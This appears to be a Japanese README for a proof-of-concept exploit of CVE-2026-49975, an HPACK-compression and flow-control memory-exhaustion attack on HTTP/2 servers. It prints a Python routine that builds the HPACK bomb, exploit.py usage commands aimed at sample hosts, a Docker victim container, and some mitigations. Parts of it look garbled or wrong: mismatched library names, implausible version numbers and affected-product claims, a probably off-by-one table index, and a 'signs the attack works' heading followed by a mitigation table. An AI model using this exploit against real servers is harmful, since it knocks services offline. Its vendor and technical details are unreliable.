
CVE-2026-49975 は、HTTP/2 サーバーおよびプロキシ実装における重大なサービス拒否(DoS)脆弱性です。「HTTP/2 Bomb」または「HPACK Bomb」と呼ばれるこの攻撃は、HTTP/2 プロトコルの 2 つの設計レベルの挙動を悪用して、ターゲットに無制限のメモリ消費(OOM)と CPU 枯渇を強制します。
CVSS 3.1 基本スコア: 9.8(Critical)
ベクタ: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
この攻撃は、2 つの段階が互いに補完し合うときに最も効果的ですが、各段階だけでも一部の実装に対しては十分です。
HTTP/2 の HPACK ヘッダー圧縮は、進化する動的テーブルを使用します。大きな cookie ヘッダーが(Literal+Incremental Encoding を介して)テーブルに挿入されると、攻撃者は 1 バイトのオペコードでそのエントリを参照できます。参照を繰り返すと、デコーダは同じヘッダーを何度も再構築します。
ワイヤ: [Opcode: Indexed (0x80)] [Index: 63]
[1 ref あたり 1 バイト、数千回繰り返される]
↓
デコードされたメモリの爆発的増大: 各展開により
{":method: GET", "cookie: a=xxxxxxxxx...x"} が
ストリーム用にバッファリングされる。
5 KB のパケットが、デコードされたペイロードの数百メガバイトに拡大する可能性があります。
INITIAL_WINDOW_SIZE=0 の SETTINGS は、被害者にすべての HEADERS/continuation データをキューに入れることを強制します。攻撃者は WINDOW_UPDATE フレームをゆっくりと少しずつ送信します。バッファは組み合わせ的に満杯のままになります。
| メカニズム | 増幅率 |
|---|---|
| 生の HEADERS ボディ | 1x |
| HPACK 参照の爆発的増大 | 20〜80x |
| + 同時ストリーム数 | 100〜500x |
| + ウィンドウ停滞 | 1000x+ |
正確な範囲については、各ベンダーの CVE エントリを参照してください。
# Python 3.8+ with ssl support
python --version
# SSL Certificate optional; PoC sets CERT_NONE
Docker クイックビクティム:
docker run -d --name h2-victim -p 4433:443 \
nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null
付属のスクリプトは exploit.py です。
コアルーチン:
def build_hpack_bomb(num_headers: int = 20000) -> bytes:
cookie_name = b"cookie"
cookie_value = "a=" + "y" * 128
data = bytearray()
# Step 1: insert cookie into dynamic table
data.append(0x40) # Literal+incremental
data.extend(encode_hpack_int(len(cookie_name), 7))
data.extend(cookie_name)
data.extend(encode_hpack_int(len(cookie_value), 7))
data.extend(cookie_value.encode())
# Step 2: spam Indexed refs (index 63)
for _ in range(num_headers):
data.append(0x80)
data.extend(encode_hpack_int(63, 7))
return bytes(data)
このスクリプトは以下を実行します:
# Basic run (default 10000 refs)
python exploit.py 192.168.1.100
# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000
# Disable window stall
python exploit.py endpoint.com --no-stall
# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60
# Verbose
python exploit.py 10.0.0.5 -v
被害者のリソースを監視します:
watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>
攻撃が機能している兆候:
| アプローチ | 設定 |
|---|---|
| ストリームあたりのヘッダー数を制限 | MaxHeaderCount 500 |
| 低圧縮率を拒否 | 比率しきい値 < 5 |
この情報は、教育目的および許可されたセキュリティテスト専用です。自分が所有するシステム、またはテストする書面による許可を得たシステムに対してのみ実行してください。
| Vendor / Project | Version | 説明 |
|---|
| Apache mod_http2 | < 2.0.13 | インデックス参照の爆発で OOM |
| nghttp2 | < 1.62.0 | 無制限のメモリ肥大化 |
| h2o | < 4.0.2 | デコーダの無限ループ |
| Node.js http2 crate | < 1.12.0 | nghttp2-rs での本質的展開 |
| Go net/http (h2) | < 1.24 | goroutine ハング + OSL 割り当て |
| Apache Traffic Server | < 9.3.0 | 内部バッファによる OOM |
| HAProxy h2 | < 2.9 | 過大な AVP でクラッシュ |
| Envoy | < 1.30 | フロー制御での巨大な割り当て |
| Rust hyper/h2 crate | < 5.14 | オーバーフロー SK でパニック |
| HPACK の成長を制限 |
| 動的テーブルを 1 KB に制限 |
| 接続あたりのメモリ | N MB 後に拒否 |
| レート制限 | 汎用 conn/s、req/s |